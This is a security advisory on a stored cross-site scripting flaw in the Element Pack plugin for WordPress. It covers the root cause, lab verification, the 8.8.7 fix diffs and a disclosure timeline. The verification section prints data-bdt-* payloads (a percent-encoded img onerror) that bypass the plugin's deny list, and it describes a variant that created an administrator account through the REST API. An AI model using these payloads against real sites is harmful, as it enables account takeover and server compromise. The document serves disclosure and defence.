CVE-2026-105873 The deny list that knew one key and one syntax in Element Pack
Intrudify's autonomous pentesting engine discovered a stored cross-site scripting vulnerability in Element Pack Addons for Elementor, affecting all versions up to and including 8.8.6. A Contributor puts one data-bdt-* attribute in an ordinary post, and the plugin's vendored UIkit build turns the attribute value into live markup in the session of whoever opens the page. Fixed in 8.8.7.
Summary
Element Pack is a widget library for Elementor. It ships a build of UIkit, and UIkit is a framework that boots a component from an HTML attribute: any element anywhere in the document carrying bdt-<component> or data-bdt-<component> is picked up and initialised when the page loads.
Element Pack enqueues that build on every front-end page with no condition attached. Measured in the lab: an ordinary post, no Elementor content, no Element Pack widget, and bdt-uikit.min.js is in the HTML.
One of those components is bdt-svg. It takes a src option, and when that source is a data: URI it decodes the part after the comma and assigns it with innerHTML, then appends the result to the page. No click and no hover.
WordPress lets every data-* attribute through wp_kses_post(), so a Contributor, who holds no unfiltered_html, can store one in a post. The plugin had anticipated this and shipped a sanitiser in 8.7.13. That sanitiser named one dangerous option key, template, and parsed one of the two option syntaxes UIkit accepts. src was never named, and the JSON syntax was never parsed.
Technical detail
The bundle is on every page
// loader.php, Element Pack Lite 8.8.6
public function enqueue_site_scripts() { // line 311
wp_register_script( 'bdt-uikit', BDTEP_ASSETS_URL . 'js/bdt-uikit.min.js',
[ 'jquery' ], '3.21.7', true ); // line 315
wp_enqueue_script( 'bdt-uikit' ); // line 317
...
}
add_action( 'wp_enqueue_scripts', [ $this, 'enqueue_site_scripts' ], 99999 ); // line 652
// no condition. not a widget, not a post type, not an Elementor page.This matters because it removes every precondition a site owner might assume. The 8.8.7 fix notes in its own comment that "one Element Pack widget in the same document is enough". The measurement is wider than that: an ordinary post with no Elementor involvement carries the bundle.
What UIkit does with the attribute
// UIkit 3.21.7, the parser the guard above is standing in front of
// parseOptions(): a value that starts with { is JSON, not key: value
options = isPlainObject( value ) ? value
: startsWith( value.trim(), '{' ) ? JSON.parse( value )
: parseKeyValuePairs( value );
// the bdt-svg component: the src option becomes markup
loadSVG( src ) {
if ( src.startsWith( 'data:' ) ) {
return decodeURIComponent( src.split( ',' )[1] );
}
...
}
parseSVG( markup ) {
const t = document.createElement( 'template' );
t.innerHTML = markup; // the sink
...
}
connected() { append( this.$el, await this.svg ); } // no interactionTwo details decide this finding. parseOptions() accepts a JSON object whenever the value starts with {, and falls back to key: value; pairs otherwise. And loadSVG() resolves a data: URI locally, so the attacker needs no hosted file and no outbound request.
What WordPress stores
// WordPress 7.1.3, wp-includes/kses.php
function _wp_add_global_attributes( $value ) {
$global_attributes = array(
...
'data-*' => true, // line 433
);
...
}
// applied to every tag in the post allowlist, line 1628:
if ( str_starts_with( $name_low, 'data-' ) && ! empty( $allowed_attr['data-*'] ) )
$allowed_attr[ $match[0] ] = $allowed_attr['data-*'];
// the value is not inspected. the payload is percent-encoded, so it
// carries no <, no > and no quote for kses to act on either way.The payload is percent-encoded, which is what makes it quiet. There is no <, no > and no quote character anywhere in the attribute value, so there is nothing for a tag-oriented filter to find. decodeURIComponent() restores the markup inside the browser, after every server-side filter has run.
The plugin's own guard, and the two gaps in it
// includes/element-pack-filters.php, Element Pack Lite 8.8.6
// added in 8.7.13 as the fix for an earlier report
function element_pack_unsafe_uikit_option_keys() { // line 112
return apply_filters( 'elementpack/security/unsafe_uikit_option_keys',
[ 'template' ] ); // one key. src is not on this list.
}
function element_pack_strip_unsafe_uikit_keys( $options ) { // line 118
// without a `key: value` pair the whole string is the primary prop
if ( false === strpos( $options, ':' ) ) {
return $options;
}
foreach ( explode( ';', $options ) as $pair ) {
$parts = explode( ':', $pair, 2 ); // key: value; only
...
}
}The first gap is the key list. template is on it because template is injected as raw HTML by the lightbox panel, which is correct. src is a direct innerHTML sink on bdt-svg and is not on it.
The second gap is the syntax. The function returns early when the string holds no colon, then splits on ; and :. A value beginning with { is a JSON object as far as UIkit is concerned, and this parser reads it as one malformed pair and keeps it. Two parsers looking at the same string, disagreeing about what it means.
Verification
WordPress 7.1.3, PHP 8.3, Elementor 4.3.5, Element Pack Lite 8.8.6, default theme, on http://127.0.0.1:8481. Two accounts: admin, and contrib created as an ordinary Contributor. Every request below was made over HTTP as the principal named, never through wp-cli, so the filters a real submission passes are the filters these passed.
Four shapes, stored as the Contributor
# four shapes, one Contributor, one REST call each, read back from the
# database after wp_kses_post() AND the plugin's own save filter
# principal: contrib ['contributor'] unfiltered_html: False
P3 data-bdt-lightbox="animation: slide; template: CANARY-P3"
stored: data-bdt-lightbox="animation: slide"
# template REMOVED. the guard is alive on the form it was written for.
P5 data-bdt-lightbox='{"animation":"slide","template":"CANARY-P5"}'
stored: unchanged # the JSON form is never parsed. guard bypassed.
P2 data-bdt-svg="src: data:image/svg+xml,%3Cimg%20src%3Dx%20onerror%3D..."
stored: unchanged # src was never on the list.
P4 data-bdt-svg='{"a":"b","src":"data:image/svg+xml,%3Cimg..."}'
stored: unchanged # both gaps at once.P3 is the negative control and it is the reason the other three mean anything. The guard removed template from the syntax it was written for, so it is installed, running, and doing its job. P5 is the same key in the other syntax, and it survives. P2 and P4 are the key the list never named, in each syntax.
What runs
// the administrator opens the pending submission to review it
// GET /?p=8&preview=true
// uikit bundle on page : true
// dialogs : 1 message: 127.0.0.1
// injected node:
<img src="x" onerror="alert(document.domain)" class="bdt-svg">
// the same shape carrying a REST call instead of an alert
// GET /?p=12&preview=true
// users before: admin / Administrator, contrib / Contributor
// users after : admin / Administrator, contrib / Contributor,
// eppwned / AdministratorThe Contributor cannot publish. The submission waits for an editor or an administrator to open it, which is the one thing an editorial workflow guarantees. The second run replaced the alert with a fetch() to /wp/v2/users carrying the page's own REST nonce, and the account it asked for appeared with the Administrator role.
Attribution and instrument controls
// control A: the post published, visited with no cookie at all
// cookies: 0 bundle: true dialogs: 1 message: 127.0.0.1
// control B: the identical published post, Element Pack deactivated
// cookies: 0 bundle: false dialogs: 0
// the attribute is still in the post. nothing reads it.
// control C: the instrument, run before every measurement above
// data:text/html,<script>alert('instrument-control')</script>
// dialogs: 1 message: instrument-control
// control D, and this one voided a first attempt:
// curl without -L follows no redirect, ?p=5 301s to the permalink
// and returns an empty body. the first 'no bundle on a plain post'
// reading was the instrument, not the plugin.Control D is included because it cost a measurement. The first reading said the UIkit bundle was absent from a plain post, which would have contradicted the whole finding. The response body was zero bytes: ?p=5 redirects to the permalink and curl had not been told to follow it. A control fetch of the home page returned 74KB and exposed the mistake.
The same lab on 8.8.7
// Element Pack Lite 8.8.7, same lab, same Contributor, same four shapes
P2 stored: no data-bdt-* attribute left
P3 stored: no data-bdt-* attribute left
P4 stored: no data-bdt-* attribute left
P5 stored: no data-bdt-* attribute left
// an administrator, who holds unfiltered_html, is left alone:
// principal: admin ['administrator'] unfiltered_html: True
stored: data-bdt-lightbox="animation: slide" // the feature still works
stored: data-bdt-svg="src: data:image/svg+xml,%3Cimg..." // kept, as WordPress intends
// and that administrator-stored payload, served to a logged-out visitor:
// attribute renders empty, dialogs: 0
// the payloads stored while 8.8.6 was installed, still in the database:
// published post, logged-out visitor -> dialogs: 0
// pending post, administrator preview -> dialogs: 0, no account created Impact
Contributor is the lowest WordPress role that can author content, and sites hand it out to people they have never met: guest writers, volunteer contributors, agency staff, membership sites with open registration. The assumption behind that is that a Contributor's reach ends at the text of their own unpublished draft, and that wp_kses_post() is what keeps it there.
The first victim is the reviewer. Script runs in that administrator's session, in the site's own origin, with their cookies and the REST nonce printed on the same page. That is enough to create a second administrator account or install a plugin, which is PHP of the attacker's choosing running on the server, and both were reachable in the lab without a password ever being seen. Nothing has to be clicked: the component initialises on page load.
If the post is approved, the same payload is served to every visitor who opens it, logged in or not. That was measured with zero cookies in the browser.
The surface is wider than a single widget. Because the bundle is on every front-end page, any content that reaches a page as HTML is a candidate, and the 8.8.7 guard hooks comments and excerpts as well as post content, which names the routes the vendor considered reachable.
Element Pack reports more than 100,000 installations.
Remediation
Update Element Pack Addons for Elementor to 8.8.7 or later.
// 8.8.7, the three layers. first, a new file:
// includes/class-content-guard.php, hooked from loader.php
const ATTRIBUTE_PATTERN =
'/\s+(?:data-)?bdt-[a-z0-9_:.-]*(?:\s*=\s*(?:"[^"]*"|\'[^\']*\'|[^\s>]+))?/i';
public static function current_user_is_trusted() {
return current_user_can( 'unfiltered_html' );
}
// runs before Elementor's own wp_kses_post() pass, and before kses
add_filter( 'elementor/document/save/data', [...], 5 );
add_filter( 'content_save_pre', [...], 5 );
add_filter( 'excerpt_save_pre', [...], 5 );
add_filter( 'pre_comment_content', [...], 5 );
// second, the old guard learns the other syntax and the other danger:
- [ 'template' ]
+ [ 'template', 'attributes' ]
+ function element_pack_uikit_option_value_is_unsafe( $value ) {
+ return is_string( $value ) && 1 === preg_match(
+ '/^\s*(?:javascript|vbscript|data)\s*:/i', $value );
+ }
+ // UIkit JSON.parse()s a value that starts with {
+ if ( '{' === $trimmed[0] ) {
+ return element_pack_strip_unsafe_uikit_json_keys( $trimmed );
+ }
+ // one PHP cannot parse is DROPPED, so a parser difference
+ // between PHP and the browser cannot be abused
+ if ( ! is_array( $decoded ) ) { return ''; }Three layers, and each was tested on its own. The new Content_Guard strips every bdt-* attribute from content saved by a user without unfiltered_html, which is what stops the Contributor. The older filter learned the JSON syntax and learned to reject any option value carrying a javascript:, vbscript: or data: scheme, which is what neutralises content already in the database. And the vendored UIkit build itself now refuses a non-http source: with the attribute injected straight into the live DOM at runtime, past every PHP filter, 8.8.6 fired and 8.8.7 produced no node and no dialog.
A site attacked before the update does not need its database cleaned to stop the script. That was measured both ways: the payloads stored while 8.8.6 was installed are still in post_content, and on 8.8.7 the published post renders the attribute empty and the pending post creates no account. Cleaning the rows is still worth doing, because the content is not what the author appears to have written.
Users holding unfiltered_html are deliberately left alone, which is the right call and worth knowing: an administrator can still store any data-bdt-* value, including this payload. The output filter catches it on the way out.
The 8.8.7 release also escapes a CSS id in the Creative Button editor preview template, which is a separate matter and not part of this report.
The wider lesson
The guard in 8.8.6 was a serious piece of work. Somebody had already worked out that a UIkit option could reach raw HTML, written a filter for it, hooked it on save and on output, and documented why. The negative control proves it was alive. It failed on two questions that a deny list has to answer and an allow list does not: which keys are dangerous, and what counts as a key.
A deny list is a claim about the complete set of bad inputs, which means it ages badly against a dependency. The dangerous key list was drawn from the lightbox component. bdt-svg is in the same bundle and has its own sink. Every UIkit upgrade can add another one, and nothing in the plugin would notice. The 8.8.7 answer is better because it moves the question: the new guard does not ask which option is dangerous, it removes the whole attribute from authors who may not write HTML.
The second question is the one worth carrying away. Whenever a filter parses a string that something else will parse again, the two parsers have to agree about the grammar or the disagreement is the vulnerability. Here PHP split on ; and : while the browser ran JSON.parse(), and a value starting with { meant different things to each. The 8.8.7 code handles this well: it reads the JSON the way UIkit does, and when PHP cannot parse it the value is dropped instead of passed along, so the ambiguity resolves in the direction of safety.
So when you meet a sanitiser standing in front of a parser, read the parser first. Write down every syntax it accepts, then check the sanitiser against each one. The input that gets through is rarely the one the filter was designed around.
Disclosure timeline
- 2026-09-18 Vulnerability identified and confirmed by Intrudify, reported via Patchstack
- 2026-10-06 Release 8.8.7 published by BdThemes
- 2026-10-07 Public disclosure by Patchstack, CVE-2026-105873 published
Questions
What is CVE-2026-105873?
CVE-2026-105873 is a stored cross-site scripting vulnerability in Element Pack Addons for Elementor, affecting all versions up to and including 8.8.6. The plugin loads a UIkit build on every front-end page, and UIkit initialises a component from any data-bdt-* attribute in the document. The bdt-svg component decodes a data: URI and assigns it with innerHTML, so a Contributor who places that attribute in ordinary post content gets script execution in the session of whoever opens the page.
Who can exploit CVE-2026-105873?
Any user who can write a post, which means Contributor and above. The payload is a data-* attribute, and WordPress permits every data-* attribute through wp_kses_post(), the filter applied to content from users without unfiltered_html. No Elementor page and no Element Pack widget are needed, because the UIkit build is enqueued on every front-end page.
The plugin already had a sanitiser for this. Why did it not help?
It helped against the input it was written for and was verified doing so in the lab: a template option in the key: value syntax was removed on save. It missed two things. It named only template as a dangerous key, while bdt-svg's src is also a direct innerHTML sink, and it parsed only the key: value syntax, while UIkit also accepts a JSON object whenever the value starts with a brace.
I updated after being attacked. Do I need to clean the database?
Not to stop the script. 8.8.7 strips unsafe option values on output and the vendored UIkit build refuses non-http sources, both verified with 8.8.6-era payloads still sitting in post content: the published post rendered the attribute empty and the pending post created no account. Cleaning the rows is still worth doing, since the stored content is not what the author appears to have written.
How do I fix CVE-2026-105873?
Update Element Pack Addons for Elementor to 8.8.7 or later. That release adds a Content_Guard class that removes every bdt-* attribute from content saved by users without unfiltered_html, teaches the existing option sanitiser the JSON syntax and the javascript:, vbscript: and data: schemes, and hardens the vendored UIkit build so it refuses a non-http SVG source.